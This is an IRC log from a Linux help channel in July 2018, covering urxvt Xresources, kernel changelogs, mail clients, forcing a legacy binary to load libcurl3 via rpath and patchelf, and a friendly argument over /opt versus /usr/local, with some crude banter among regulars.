--- Log opened Mon Jul 09 00:00:31 2018
00:01 < DLange> phinxy: df -h   will show you used space, for /dev/shm, too
00:03 < phinxy> is it "shim"
00:04  * [R] shives phinxy 
00:04 < [R]> phinxy: soft i....
00:04 < [R]> sh-mmm
00:07 < Wesalius> server irc.irchighway.net
00:08 < DLange> try with /
00:08 < Wesalius> thanks
00:18 < NoirX> hello all
00:19 < NoirX> how are you
00:21 < locrian9_> Anyone on VMs of Arch happy about yesterdays new kernel release 4.17.4-1 that fixed the issue with 'mouse pointer' on things like browsers and such. https://bugs.archlinux.org/task/59091 . I wonder how to see the changelog of the linux kernel going from 4.17.3 over to 4.17.4 to see if it was indeed an issue with Qt v5.10 v5.11?
00:22 < locrian9_> It was making me realize how much I rely on the mouse when using chromium. Hard to get to menus and stuff.
00:23 < NoirX> u can move the cursor with keyboard keys\
00:24 < cannabis_sativa> locrian9_: https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.17.4
00:26 < storge> 4.17.4-storge
00:26 < storge> 4.17.5 is out today
00:26 < storge> a couple hours ago
00:28 < storge> 4.17.5-storge
00:30 < eblip> phew...there is a hell of a lot of stuff in that gnome...just removed it from my sysem and it was like 374 programs uninstalled
00:30 < storge> bls: thanks again for that json query of the kernel.org link (or whatever it's called), made my kernel autobuild script worked perfectly
00:30 < locrian9_> cannabis_sative: Yes, I see the commit note.  Greg Kroah-Hartman, Tue Jul 3 11:27:13 2018 +0200.
00:30 < locrian9_> cannibis_sative: It doesn't show what was changed, unless I'm reading it wrong...
00:30 < storge> eblip: and probably two or three megabytes freed ;)
00:31 < eblip> not the point
00:31 < eblip> its the bloat and build times
00:31 < [R]> NOT THE BLOAT!
00:31 < [R]> anything but that!
00:31 < eblip> im gentoo user
00:31 < ayecee> i'm sorry. i hope you'll get better soon.
00:31 < [R]> well, you bring it upon yourself then
00:31 < eblip> trust me waiting for gnome to build takes a day
00:31 < [R]> locrian9_: you have to go to git to see what was chnaged
00:31 < eblip> that is bloat for you
00:32 < [R]> eblip: so don't use it
00:32 < [R]> problme solved
00:32 < ayecee> it has a simple elegance to it
00:32 < eblip> i dont any more ..but i did like gnome terminal...but got a nice urxvt thing going on now
00:37 < storge> with a nice .Xresources, urxvt is a fine terminal
00:38 < storge> tweak unto contentment http://pod.tst.eu/http://cvs.schmorp.de/rxvt-unicode/doc/rxvt.1.pod#RESOURCES
00:38 < Dan39> dumb .Xresources... why the hell doesn't it just have its own config file..
00:38 < [R]> if X provides something to you
00:38 < [R]> why reinvent it
00:39 < Dan39> is loading a config file really that much trouble that it is "reinventing"?
00:39 < [R]> parsing it is
00:39 < Dan39> why doesn't every GUI application use Xresources then?
00:39 < [R]> because its limited with what it can do
00:40 < Dan39> i feel like there are plenty of existing libs for config files
00:40 < Dan39> xrdb/Xresources seems kinda meh
00:40 < storge> what's the difference. i can push up my .xresources to another machine with more difficulty than doing so with .configs---and without having to remember where they all are or symlink them to a dotfile folder
00:40 < [R]> and one of them is xlib
00:40 < storge> with no more *
00:43 < Pentode> xresources has its reasons. it was mainly intended to let a user change resource values for applications that werent running locally on the xservers machine..
00:43 < Pentode> that way you can customize it without having to edit local config files on the machine hosting the client application.
00:43 < Dan39> now that makes sense
00:43 < storge> indeed
00:44 < storge> eblip:  urxvt --help 2>&1| sed -n '/:  /s/^ */! URxvt*/gp' >> ~/.Xresources
00:44 < storge> that will append all urxvt resource options to your .Xresources
00:44 < storge> then edit unto orgasm
00:45 < Pentode> lol
00:45 < storge> that works for some other terminals as well
00:45 < storge> i think i did it with aterm maybe wterm, it's been a long time, not sure about those
00:46 < aaro> xtern xclock xfontsel... etc
00:47 < aaro> it also allow to do '*background: color' and make your X apps look uniform
00:48 < [R]> what, is this the military?
00:48 < storge> [R]: soon all will become poetteringd
00:49 < [R]> lol
00:49 < storge> [R]: the righteous forces of the cathedral will overwhelm and destroy the mismatched hodgepodge of the bazaar
00:49 < [R]> i'm adding systemd to my embedded device
00:49 < [R]> so far it seems pretty nicce
00:49 < storge> [R]: well of course, you're a nazi
00:50 < [R]> rofl
00:50 < storge> --but i don't let my compliments fool you. i of course hold you in the lowest regard
00:50 < [R]> i like that my controller application can tell systemd when its ready
00:50 < [R]> and then have all my dependent services start only after its ready
00:50 < storge> mmm keep talking
00:50 < [R]> lol
00:50  * storge rubs his mouse suggestively
00:50 < [R]> wtf
00:51  * storge rubs [R]'s mouse suggestively
00:52 < [R]> haha
00:55 < eblip> ha ha nice storge
00:55 < phogg> don't forget to xrdb -merge your Xresources file
00:56 < [R]> i'll merge your files, sailor, *wink*
00:56 < phogg> X resources are like a very early take on the Windows registry, only much simpler and also totally different
00:56 < phogg> or an early take on gconf/dconf, take your pick
00:57 < storge> very much like and also totally different
00:58 < meethos> error: permission denied on key 'net.ipv4.conf.eth0.mc_forwarding'
00:58 < phogg> It's alike in conceptual ways, totally different in how it actually works.
00:58 < [R]> meethos: what are yaou doing?
00:58 < phogg> meethos: and are you root?
00:58 < [R]> phogg: you want to be root with me?
00:58 < meethos> Yep I am root, playing with pimd - it doesn't seem to be getting any mcast routes
00:59 < phogg> [R]: with you? Always
00:59 < meethos> -r--r--r-- 1 root root 0 Jul  8 17:43 /proc/sys/net/ipv4/conf/eth0/mc_forwarding
00:59 < meethos> cant chmod it either
00:59 < [R]> mand what exactly is giving you that error
00:59 < phogg> you shouldn't be able to chmod it
00:59 < meethos> sysctl -p
00:59 < phogg> it's /proc...
01:00 < [R]> if there is no +w on it you can't write to it
01:00 < meethos> does it need to happen on boot ?
01:00 < phogg> meethos: Do you know what /proc is? If a file in /proc isn't readable then it's just reporting information and not a knob you can turn.
01:00 < [R]> phogg: do you like... turning knobs?
01:01 < phogg> [R]: doesn't everybody?
01:01 < ayecee> frobbing knobs
01:01 < [R]> haha
01:01 < phogg> s/readable/writeable/
01:01 < phogg> totally backwards ftw
01:02 < okee> Does anyone know how to get pop to work with the Geary mail program?  I just bought a System76 machine and it came with Geary by default.  My initial thoughts are that Geary might be too unconfigurable for my prurient interests.
01:02 < meethos> heh
01:02 < meethos> phogg, i mean i've got posts tellin me to make sure that's set to 1 and to mod sysctl.conf to make the change permanent
01:03 < phogg> okee: I have no idea. Did you try asking google? Seems like that should be a FAQ.
01:03 < okee> The setup interface only shows IMAP and SMTP.
01:03 < okee> phogg>. Google probably has it, but it isn’t jumping out at me, which is why I raised the question.
01:03 < meethos> same
01:03 < [R]> okee: if you dont like a program, use somethign else...
01:03 < storge> jumping out at you
01:04 < storge> food tastes better when it leaps into your mouth, doesn't it?
01:04 < okee> I might like something better if I knew how to use it : )
01:04 < phogg> meethos: are you sure support is compiled in to your kernel at all?
01:04 < okee> I am on a diet so can’t answer that question.
01:04 < meethos> possibly not
01:05 < phogg> okee: in the worst case you can set up a local IMAP daemon and feed it with a command line pop client
01:06 < [R]> phogg: you're a demon
01:06 < locrian9_> [R]: To see the changes in between linux kernel 4.17.3 and 4.17.4 do you have to go over to https://github.com/torvalds/linux/commits/master/kernel and just try to find where the version changes from 4.17.3 to 4.17.4?
01:06 < stumpys> any ideas on how to fix a win boot issue when there doesn't appear to be boot files to repair?
01:06 < okee> phogg>. That might be true, but I have had a fair amount of experience where mail was permanently lost from the server by anything associated with IMAP.  So this wouldn’t be my first preference.  I think I will use Thunderbird, even though the search feature for past messages is lame.
01:07 < storge> or diff the configs
01:07 < meethos> phogg, ok i see it sets to 1 when I have pimd running
01:07 < phogg> okee: looks like the answer is "Not supported" from my trivial googling.
01:07 < meethos> I guess i need to look elsewhere in my config =P
01:07 < phogg> okee: IMAP is strictly superior to POP3. That said, you can configure it badly and get bad results.
01:08 < phogg> meethos: Heh, that's interesting.
01:08 < phogg> stumpys: ask ##windows ?
01:08 < [R]> locrian9_: the subversions dont come from ehre
01:08 < [R]> there*
01:08 < okee> phogg>. That is a matter of opinion.  For the things I do I don’t find IMAP superior.  Kind of like saying peaches are superior to Nectarines.  Ha Ha…..
01:09 < [R]> why can't we al ljust get along
01:09 < phogg> locrian9_: in what way do you want to "see" the changes? As a diff? Commit messages?
01:09 < [R]> i use imap and pop
01:09 < okee> IMAP is superior if you are ok with permanently removing mail from your server so that it can’t be pop loaded to another machine.
01:09 < [R]> its not all or nothing
01:09 < stumpys> phogg: yup, been there, messed it up even further.
01:09 < triceratux> [R]: youre a subversion
01:09 < stumpys> phogg: after that tried to use "boot repair" to fix it
01:09 < phogg> okee: No, it's not opinion. POP is a pretty bad protocol. IMAP is better in every way, in that you can simulate POP with it if you really want. Okay, it's "worse" in that it's more complicated (but users don't *need* to know that).
01:09 < stumpys> phogg: but no luck.
01:10 < saderror256> hello
01:10 < [R]> phogg: well then it would be called PBP intead of POP
01:10 < stumpys> phogg: got to this point installing linux onto a flash drive (my attempt at persistent storage)
01:11 < phogg> [R]: I don't get it. Explain the joke so I can get it but not find it funny.
01:11 < okee> phogg>. How can I simulate pop with IMAP and not loose mail on the server?
01:11 < stumpys> phogg: but managed to balls up the win boot part, and after trying all the win help i was lesft with no boot files, or something like that (bcd files?)
01:11 < [R]> phogg: you said its a "Pretty Bad Protocol"
01:11 < storge> balls up
01:11 < okee> The Geary mail client doesn’t appear to have an option at all for merely pop and smtp and unless you use IMAP and SMTP, and it won’t configure for reasons not apparent to me.
01:12 < stumpys> storge: balls up = fuck up
01:12 < phogg> okee: there are tutorials on this, I am not an IMAP expert. I can only say that I have done it.
01:13 < phogg> stumpys: I don't know how to help you, sorry.
01:13 < triceratux> okee: claws-mail ftw
01:13 < phogg> +1 for claws-mail
01:13 < okee> phogg:   I will take your word for it and explore it in the future when I have more time to experiment with a dummy account.  Thanks for the feedback.
01:13 < stumpys> phogg: ah well, any thoughts on places other than ##win that might be more appropriate?
01:13 < okee> I am ok with Thunderbird but don’t find the search tool very useful.  It could be better.  Other features are quite decent.
01:15 < phogg> okee: What do you want out of a mail client? Perhaps we can recommend on you'll love.
01:17 < locrian9_> [R] I was just interested in what fixed something from updating from 4.17.3 to 4.17.4.  There was this bug running virtualbox linux guests and the fingers were pointing to a kernel update 4.17.3 to 4.17.4, and I just wanted to see what that fix was.
01:17 < storge> i want my mail client to bring home the bacon, fry it up in a pan, and never ever ever let me forget i'm a man
01:17 < okee> I would like something like thunderbird, but with a better search feature.  Search was actually a lot bette with Outlook Express, even though Outlook Express had many other short comings, including a lack of security, and very minimal capacity.  Howeve, whoever did the search really new what they were doing.
01:17 < locrian9_> [R] Maybe way over my abilities.
01:17 < [R]> locrian9_: well if yuo dont know wha you are doing, what i lookin at code going to do?
01:18 < okee> I haven’t used Geary, but have tried Evolution and didn’t like it.  I think Thunderbird is better than Evolution.
01:18 < okee> I don’t need anything fantsy.
01:18 < okee> fancy
01:18 < okee> sorry, my manual dexterity isn’t that good today.
01:18 < locrian9_> [R] Looking at code will help you start to 'know what you are doing'.
01:18 < KaiserA> hello, I have an issue where one package requires libcurl4 to be installed and another needs libcurl3, when I try to install libcurl3 it tries to remove the newer one and all things that depend on it, is there a way to have both on my system?
01:18 < [R]> locrian9_: so look at any old commit
01:19 < [R]> KaiserA: sounds like your dist is broken garbage, or you're installing packages not meant for your dist
01:19 < phogg> okee: Evolution is hard to love. Since I'm not a big fan of search features I don't know which clients have good ones.
01:20 < KaiserA> the latter, I had to manually install via dpkg something, and I require that specific application,
01:20 < KaiserA> that's the one that needs libcurl3 [R]
01:20 < [R]> KaiserA: well, now you've broken your system
01:20 < [R]> so, lesson learned i guess
01:21 < KaiserA> no it's fine right now, because that application is down, and since it's third party I can't just tell it "hey use the new libcurl"
01:21 < Dan39> KaiserA: but, you can
01:21 < KaiserA> Dan39: hm? tell me
01:21 < Dan39> recompile it...
01:21 < Dan39> preferrably as a package, hopefully you have package source too
01:22 < KaiserA> I have the .deb package, I'll see what I can do
01:22 < [R]> nothing
01:22 < [R]> lol
01:25 < revel> libcurl3? But it's already at 7.60.0...
01:26 < [R]> the 3 isn't the same as the version number
01:26 < revel> I'd extract the .so and LD_PRELOAD it just for that 3rd party app (at least I think that's a thing you can do?), though that sounds like the sort of thing they should've bundled themselves.
01:26 < revel> [R]: Oh, what is it then?
01:26 < [R]> its more like a major api version change
01:26 < revel> curl.so.3 ?
01:26 < [R]> totally incompatible
01:26 < KaiserA> revel: libcurl4 is 7.58.0 on the current ubuntu repos
01:27 < KaiserA> I don't know why they named it like that, I just try to keep everything working here
01:27 < revel> /usr/lib/libcurl.so.4 here, I guess.
01:27 < revel> (4.5.0)
01:27 < [R]> KaiserA: because you're installing packages meant for another dist
01:28 < KaiserA> I don't even know what distro it was designed for, it's an application made by a company that doesn't even exist anymore so I can't even email them about it
01:28 < revel> I guess I thought software was supposed to version itself accordingly like that as well, but I guess not.
01:28 < [R]> well, that sounds quite unfortunate for you
01:29 < KaiserA> and for my salary tbh
01:29 < revel> i.e we'd be at libcurl 4.5.0 or so right now, not 7.60.
01:29 < storge> I don't even know what distro it was designed for, it's an application made by a company that doesn't even exist anymore so I can't even email them about it  ...this might be the most astonishing thing i've read here
01:29 < KaiserA> I tried making it think it's using libcurl3 but making it use 4 (they both are on 7.58, idk the difference) but it just yelled at me
01:30 < revel> Does LD_PRELOAD/LD_LIBRARY_PATH work?
01:30 < oiaohm> KaiserA: it is possible to use patchelf and the like to add a rpath to a executable to add extra directory for where it should look up libraries.
01:30 < revel> Or patchelf, yeah.
01:31 < KaiserA> hmm
01:31 < KaiserA> yeah if I could just yank the binaries and put it there it should work, thanks
01:31 < okee> Can someone tell me how to search the repository with Pop!_OS?  I tried apt-get search and got an error message.
01:31 < oiaohm> KaiserA: people making third party programs all seam to fail to include a rpath to allow for install of .so files that don't match distribution.
01:32 < revel> Not all of them. Some have figured out that /opt is a thing.
01:32 < phogg> KaiserA: In your shoes what I would do is manually unpack the .deb for the version of the library your weird proprietary program needs and make a place for it in /usr/local, copying files manually as needed.
01:32 < phogg> KaiserA: that way most of the OS doesn't see it, but you can feed it into the proprietary program at startup
01:33 < triceratux> okee: synaptic, aptitude
01:33 < okee> triceratus>. Is their an apt-get command for search?
01:33 < [R]> okee: step 1, install a normal dist
01:33 < [R]> step 2, profit
01:33 < triceratux> ^^
01:33 < KaiserA> phogg: I'll give that a try, thanks dude
01:34 < oiaohm> phogg: normally I would recomment patchelf and adding a /opt/programruntime/lib    Instead of into /usr/local   this allows you to put in something that would be distribution confliting.
01:34 < okee> [R]>. It is tempting.  I am a big fan of Debian stable that has been tweaked for backports,  and other tools, etc.
01:34 < KaiserA> also storge: welcome to being a sysadmin in a third world country I guess? companies open and close like they are pancakes over here
01:34 < [R]> okee: so do it
01:34 < okee> [R]>. I just got this computer so thought I wouldn’t go wrong with trying to learn what the manufacturer did with thier Pop!_OS
01:34 < revel> Open and close like pancakes...?
01:35 < [R]> okee: made it crap, apparently
01:35 < [R]> ol
01:35 < [R]> lol*
01:35 < revel> KaiserA: What sort of pancakes do you eat?
01:35 < pnbeast> Is that like Pop Rocks?
01:35 < okee> revel>. Why do you not like pop?
01:35 < oiaohm> KaiserA: if the program does install in the /opt directory check if it already has a -rpath set.
01:35 < [R]> okee: its just ubuntu with a shiny sticker on it
01:35 < revel> What?
01:35 < [R]> pnbeast: and coke?
01:36 < okee> [R]>. That I am aware of and I have always found Debian to be better than Ubuntu, except for some of the native graphics packages that Ubuntu offered by default.  Additionally I am not a fan of gnome, and prefer other desktop.  The latest gnome is ok, but there is better.
01:36 < Holonium> Hello
01:37 < [R]> okee: well if you dont like what you have, then go with somethign else
01:37 < phogg> oiaohm: I avoid /opt like the plague, but I suppose it would be reasonable if the proprietary program is really dumb and doesn't fit into /usr/local very well.
01:37 < Dan39> ubuntu... let's upstart on systemd. ooookay
01:37 < pnbeast> Hmm, wikipedia says they make pop rocks by melting pop-rock syrup in 600 PSI CO2, then cooling it, trapping the pressurized CO2.
01:37 < okee> [R]>. I haven’t owned the computer long enough to know whether or not I like the POP!_os.
01:37 < [R]> lol
01:38 < [R]> i told you
01:38 < [R]> its jsut ubuntu with a shiny sticker
01:38 < phogg> [R]: they also appear to have somewhat customized GNOME, too.
01:39 < phogg> so it may not be quite the same experience as just installing Ubuntu and GNOME.
01:39 < phogg> Holonium: Hello.
01:39  * phogg has a hard time keeping up with all of the trivial Ubuntu forks out there.
01:39 < oiaohm> phogg: I have had issue on some distributions using libraries placed in /usr/local ahead of /usr and then distribution provided programs throwing issues due to different version of library.
01:39 < [R]> he already said he doesnt like gnome...
01:40 < [R]> phogg: you're a trivial fork
01:40 < [R]> may as well be a spoon
01:40 < pnbeast> If POP!_os didn't have the exclamation point, I wouldn't use it!  Of course, I wouldn't use it if it did have the exclamation point, either, but I do it from a marketing point of view.
01:40 < oiaohm> phogg: this is why when I am patching a program to work opt is like my top place.
01:40 < phogg> oiaohm: if a distribution touches /usr/local it is bad and anyone using it should feel bad, things should break and the user should switch to Debian or any sensible distribution. I have negative sympathy.
01:41 < phogg> It makes good sense for System76 to have its own distribution. Sell hardware, bundle software and then support it. No different from Apple, really, just getting started later. I approve.
01:41 < oiaohm> phogg: /etc/ld.so.conf.d/libc.conf  read and weep.   /usr/local/lib   I use debian
01:41 < phre4k> I'm trying to run inspircd but get the error Unable to load m_ssl_gnutls.so: /lib64/libgnutls.so.28: version `GNUTLS_2_12' not found → how can I resolve this? (Fedora 27)
01:42 < [R]> except system76 is super terrific chinese crapware...
01:42 < oiaohm> phogg: yes it debian where I have run into library from /usr/local/lib breaking stuff.
01:42 < phogg> oiaohm: Oh, I see what you mean. No, that's reasonable.
01:42 < phogg> oiaohm: just don't put libs in /usr/local/lib if you don't expect to override the distro
01:42 < [R]> phre4k: you compiled this?
01:43 < phogg> oiaohm: /usr/local/lib being *read* for user overrides is OK. I was suggesting he put the lib in a /usr/local/<weirdprogram>/lib dir and then LD_LIBRARY_PATH or (as you suggested) patchelf as needed to make it available to only that program.
01:44 < oiaohm> phogg: by FHS that mean to be /opt
01:44 < [R]> https://elinux.org/images/6/69/Demystifying_Systemd.pdf
01:44 < [R]> - is done by Lennart and he did PulseAudio, will break my system
01:44 < [R]> HAHA
01:44 < phogg> oiaohm: /opt is an abomination; it's the same as /usr/local but for people who want to bundle things under a single dir for some reason. No point to it.
01:44 < Holonium> I was wondering if someone could help explain how to set up a subdomain in apache using a single ip.
01:44 < oiaohm> phogg: ie /opt/<weirdprogram>/lib is where the FHS standard tells put it.
01:45 < [R]> Holonium: namevirtualhost
01:45 < oiaohm> phogg: I try to stick to standard where possible.
01:45 < Holonium> So if I wanted example.example.com, how would I do that?
01:46 < phogg> oiaohm: the FHS doesn't require that, it allows /usr/local
01:46 < [R]> Holonium: read one of the billion guides on the internet?
01:46 < Holonium> OK.
01:46 < Holonium> Thanks
01:48 < oiaohm> phogg: if you read though FHS you will find /usr/local is meant to have exact same layout as /usr      Its /opt that is allowed to have a package name with unique contents.
01:49 < phogg> oiaohm: The problem I have with /opt is that the standard says "make a dir in /opt and have anything you want inside it, there is no standard" which is just standardizing "do anything." That's pretty pointless, IMO. Nothing in the FHS prevents you from installing "add on" software in /usr/local, and you should.
01:49 < oiaohm> phogg: exact same layout a /usr - another local directory.
01:49 < phogg> oiaohm: It's meant to *start with* a layout mirroring /usr "after first installing a FHS-compliant system." You can add additional directories later.
01:50 < phogg> oiaohm: and in fact I want the layout to mirrir /usr; that's the point. You could also mkdir /usr/local/lib/<weirdprogram>/ and put its special-needs .so in there. Also fine.
01:51 < oiaohm> phogg: that subdirectory stunt is depending on the loader when it makes cache not doing subdirectories.   You will will find debian loader these days goes into subdirectory when you run ldconfig to make cache.
01:52 < oiaohm> phogg: http://www.pathname.com/fhs/pub/fhs-2.3.html#OPTADDONAPPLICATIONSOFTWAREPACKAGES   Sorry /opt does not anything you want.   Paths inside are meant to be done in /usr pattern if possible.
01:52 < phogg> oiaohm: which is why I started by suggesting a dir outside /usr/local/lib; if having non-FHS dirs directly in /usr/local you can go the other way (some additional configuration may be required)
01:53 < oiaohm> phogg: by standard the correct place for extra libraries for some odd program is /opt/<program>/lib
01:53 < oiaohm> phogg: just keeps thing tidy if everyone is doing it the same way.
01:54 < phogg> oiaohm: The standard allows for either location, but /opt is a worse idea.
01:55 < phogg> The fact that the structure of /opt/<provider>/ is not required to be anything in particular is a problem for me.
01:55 < lupine> the FHS is mostly a pile of poo
01:55 < lupine> ignore it if you like
01:55 < phogg> And yet without it there would be even more chaos.
01:55 < lupine> sure
01:56 < phogg> To be clear I am not in any way anti-FHS, I just don't agree with some of the things in it (and how it is often interpreted).
01:58 < KaiserA> OK progress report because I feel like it and it's not like just sitting there staring at the ceiling in frustration will help
01:58 < KaiserA> turns out modifying the deb file to make it use libcurl4 didn't work because it looks inside the actual so file for a constant to know it's libcurl3, the cheeky bastar
01:59 < KaiserA> bastard*
01:59 < KaiserA> also nothing on /opt/ just other applications
01:59 < KaiserA> is there a way to force it to use an .so file that sits elsewhere?
02:00 < phogg> KaiserA: Yes.
02:00 < KaiserA> like if there is fixing this would be trivial, I'd just tun dpkg to get all the files that it uses and move them to where I want
02:00 < oiaohm> phogg: http://www.pathname.com/fhs/pub/fhs-2.3.html#USRLOCALLOCALHIERARCHY   Yes I do follow current fhs.     Do notice it states only a particular list of directories should exist.    /usr/local/<weirdprogram>/lib is breach of FHS.  I use /opt as that fits in standard.
02:00 < KaiserA> nice, tell me how, cause my long ass google search took me to basic application compilation
02:00 < phogg> oiaohm: should exist *initially*. It doesn't say you should not add others.
02:00 < KaiserA> phogg: btw you already are my favourite person on this chat room
02:01 < phogg> KaiserA: use ldd to find the name of the .so it wants, set the library search patch such that a directory with such a file name exists and make that file name either the file it expects or a symlink pointing to the file it expects
02:01 < phogg> KaiserA: or change the rpath, like oiaohm suggested
02:03 < oiaohm> phogg: I know why clashing.   I have to package stuff that they can be placed into installers.   Using /usr/local the way you are comes back and bites me.   if I use /opt from the start I can package it up into a full system isntaller disc without making techically broken install.
02:04 < phogg> oiaohm: there are only two things: packages made for a distribution, and programs installed by hand. The latter go in /usr/local. There is no need for /opt.
02:05 < pnbeast> There can be only one!  Er, no, wait... only two.  Yes, two!
02:06 < oiaohm> phogg: I have /opt of programs made by third parties possiblely modified by me to work.   That end up in company internal repositories so a third party install of binary.
02:07 < oiaohm> phogg: I class as /usr/local should be containing stuff I have access to source.
02:07 < phogg> oiaohm: Third parties which make installers that use /opt get unpacked and repackaged by me to install into /usr/local
02:07 < phogg> it's such an irritating behavior. I'm looking at you, Google
02:08 < oiaohm> phogg: so this is just a section of the standard where we are not going to agree.   I think /opt is a good idea.
02:09 < phogg> oiaohm: I don't think anything which allows "one dir containing an entire program" is a good idea. It's app bundles all over again.
02:10 < triceratux> /opt fight !
02:10 < [R]> one dir to rule them all
02:11 < phogg> triceratux: I think we're done now. And it wasn't fighting, we each described what we do and why. Nothing to fight about.
02:11  * [R] puts up his fisticuffs
02:11 < phogg> He likes /opt and uses it, I don't and won't. We both have some standard basis for doing this.
02:12 < oiaohm> Its not like either of us are doing random highly system destroying things.
02:13 < oiaohm> App bundles of old were prure horrible from Nvidia where they like deleted the /usr/ opengl stuff.
02:13 < oiaohm> app bundles in /opt are at least should not be system destorying.
02:13 < phogg> oiaohm: app bundles are what Apple calls its software packages
02:14 < phogg> it's also the basis for a lot of attempts to "fix" Linux distro packaging.
02:14 < oiaohm> phogg: .run files were also called app bundles before apple used that name.
02:14 < phogg> oiaohm: .run files are just "self extracting executables/installers"
02:15 < lupine> "app bundles" are so hot right now
02:15 < phogg> where they install is unrelated
02:15 < phogg> flatpak anyone?
02:15 < phogg> although to be fair at least that is somewhat better thought out than the last time around
02:15 < phogg> or the six times before that
02:15 < oiaohm> phogg: .run app bundle had a chroot inside.
02:15 < oiaohm> phogg: they are defines of ugly
02:16 < phogg> oiaohm: sure, you can. The thing that makes a .run a .run is simply that it's an executable with its code and data in it.
02:16 < oiaohm> phogg: that usage of app bundle with .run files is from 1995
02:16 < lupine> .deb is where it's at
02:16 < lupine> everything else can go spin
02:17 < Dan39> that's sarcasm, right?
02:17 < oiaohm> phogg: .run app bundles comes the base for appimage and appimage issues come party why flatpak and snap.
02:18 < pnbeast> Dan39, this is IRC, the last space in civilized discourse that's completely free of sarcasm.
02:18 < phogg> oiaohm: don't worry, eventually unionfs will save us all.
02:18 < Dan39> oh, ofc, sorry.
02:18 < ultr4_l4s3r> >civilized
02:18 < CodeHunter> I used xrandr to create a new mode, but when I switch to it, it has the screeen off to the right and not centered.  CAn anyone assist me in fixing this error?
02:18 < phogg> pnbeast: That's exactly correct except for the words "civilized" and "discourse" and "last"
02:19 < oiaohm> phogg: or per application subvolumes.
02:19 < pnbeast> Well, that was kinda the point, yes.
02:19 < oiaohm> phogg: Not exactly sure if per application subvolumes saves the world or is the end of it.
02:19 < phogg> oiaohm: that one might work, the unionfs thing would need a lot of kernel work
02:20 < phogg> oiaohm: the problem is that anything which breaks up the  VFS makes it harder to reason about the system. Not a good idea even if it works.
02:20 < Dan39> i heard ext5 is going to save the fs world
02:21 < [R]> Dan39: i'm holding out for ext9
02:21 < phogg> oiaohm: I'm currently liking what guix does. One root, each unique lib/binary installed once, and a custom environment built to run either one specific binary or a set of them composed out of symlinks. If you could make it less soupy it would be great.
02:21 < oiaohm> phogg: its not like doing something like SXS or nix to allow multi versions of libraries is that nice either.
02:21 < Dan39> i heard they reverse engineered btrfs to add in
02:22 < phogg> oiaohm: it's not very nice but it probably could be made nice enough
02:22  * pnbeast waits for ext2020, which is probably the next version once we get some marketing people hired.
02:22 < phogg> Dan39: screw it, let's go back to reiserfs4. That will solve it.
02:22 < Dan39> *cough*murderfs
02:22 < oiaohm> phogg: really we need a multi version of library system of some form that works successuflly to win out at a min.
02:23 < phogg> Dan39: doesn't mean it didn't have some nice features (which also break standard *nix concepts)
02:23 < Dan39> break *nix concepts?
02:23 < phogg> oiaohm: and multi-arch libs, too. I think guix/nix solves both in a decent way. Nobody else is better.
02:23  * CompanionCube agrees
02:24 < CompanionCube> the only 'new' packaging system worth a damn is nix/guix
02:24 < oiaohm> CompanionCube: nix is from 2003 is not that new.
02:24 < phogg> Dan39: "files that are also directories"
02:25 < [R]> phogg: you're a directory
02:25 < CompanionCube> doesn't seem to be a terrifically useful feature
02:25 < phogg> nix did one novel thing, otherwise it's just GNU stow again
02:25 < oiaohm> guix being linked to gnu means that people making closed source third party programs are unlikely to use it.
02:25 < [R]> i miss stow
02:26 < CompanionCube> oiaohm: it is unfortunate
02:26 < CompanionCube> because imo guix's package language is better
02:26 < phogg> Dan39: on reiser4 the "unix directory" behavior was just a plugin and you could theoretically load others--like for example attach a plugin to the subtree /etc/fstab which would allow programs to treat it as a directory and edit files inside it to make changes to specific records in fstab.
02:26 < KaiserA> OK so changing the rpath worked!.. for the first part, turns out that application then runs a seccond executable (great design) which appears not to have an rpath
02:27 < CompanionCube> so it provided something akin to https://en.wikipedia.org/wiki/Record-oriented_filesystem support/
02:27 < Dan39> neat
02:27 < phogg> oiaohm: Yes, but they're not likely to use it right because of how uninviting it is. Everything is a guile script does not endear you to the industry.
02:27 < KaiserA> it IS an ELF executable which is dynamically linked and searching for the same file that is libcurl4 because they decided to keep the naming convention and now that's being a pain in the ass for me
02:28 < phogg> CompanionCube: No. It was *supposed to* support that, and had an internal architecture to allow for it. I don't think anything like that got past the proof of concept stage.
02:29 < CompanionCube> (though if we're throwing out parts of *nix we can do way better than that)
02:29 < KaiserA> anyways, ldd tells me it depends on libcurl3, which I have in a directory specifically for it, to avoid clashes with the rest of my system. But chrpath tells me it doesn't have an rpath or runpath tag
02:29 < phogg> CompanionCube: and, remember, that plugins could allow for a record-oriented system, but also for *anything else*
02:29 < [R]> phogg: you like to "plug" things in?
02:29 < phogg> CompanionCube: Exactly. The end result would be weird and fantastical from a UNIX POV, and if you're going to do that you want to spin up a brand new distribution and go REALLY crazy.
02:29 < oiaohm> KaiserA: and that is what patchelf is good for adding a rpath/runpath after the fact.
02:30 < KaiserA> nice, thanks
02:30 < KaiserA> seriously you guys are the best
02:30  * phogg is referencing half-remembered slashdot articles about reiser4 plans from 15+ years ago
02:30 < phogg> exact facts may vary slightly
02:32 < [R]> phogg: you mean murderfs?
02:32  * [R] pokes phogg 
02:32 < oiaohm> KaiserA: lot of the trouble we have with closed source programs under Linux would be the same as if windows programmers shipped without manifiest.   Its not really that hard to include a -rpath when building a program so that if there is a library issue in future all person has todo is place a library at that location to fix it.
02:33 < phogg> [R]: Yes. Is that what we're calling it now?
02:33 < phogg> [R]: I would have gone with tragedyfs. It works on more levels.
02:34 < [R]> lol
02:41 < phogg> Wat
02:50 < lessthan0> I need help with manually moving one partition or backing up the partition table to edit it using fdisk
02:50 < lessthan0> I am trying to 4K align the second partition
02:51 < KaiserA> ok this is weird, I am using patchelf to change the dependencies using --replace-needed <path_to_bad_so> <path_to_new_so> but when I run ldd on the binary the paths are still the same and I don't get it
02:51 < lessthan0> I did the math to see that partition 1 sda1 is correctly 4K aligned and starts at 1MB sector 2048 using 512b sector size
02:51 < [R]> lessthan0: just use parted/gparted... it always properly aligns things
02:51 < KaiserA> also yes I'm running under sudo
02:51 < lessthan0> ok I can use parted then
02:52 < lessthan0> this is also trying not to lose the files and file system although I could format I wanted to avoid it
02:55 < notmike> lessthan0: good luck
02:55 < oiaohm> KaiserA: I don't try to change elf dependancies with patchelf.   All I do is set a rpath and put what is required their.
02:56 < lessthan0> parted will align-check but that does not really help
02:56 < [R]> what?
02:56 < lessthan0> I can resize with parted but I guess I would need to tell it exactly how many sectors
02:56 < [R]> parted always aligns things
02:57 < lessthan0> what format is the input for parted resize/
02:57 < lessthan0> ?
02:57 < [R]> just use gparted
02:58 < lessthan0> I am in text only rescue shell
02:58 < [R]> so reboot into a livecd
